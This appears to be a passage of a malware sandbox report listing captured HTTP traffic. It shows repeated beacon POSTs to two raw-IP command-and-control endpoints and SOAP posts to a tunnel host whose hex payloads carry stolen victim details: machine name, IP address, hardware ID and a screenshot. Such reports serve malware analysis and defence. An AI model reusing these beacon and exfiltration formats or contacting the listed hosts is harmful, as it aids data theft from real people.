Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95714Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95713Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95714Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-AliveData Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 38 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95713Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-AliveData Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 37 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
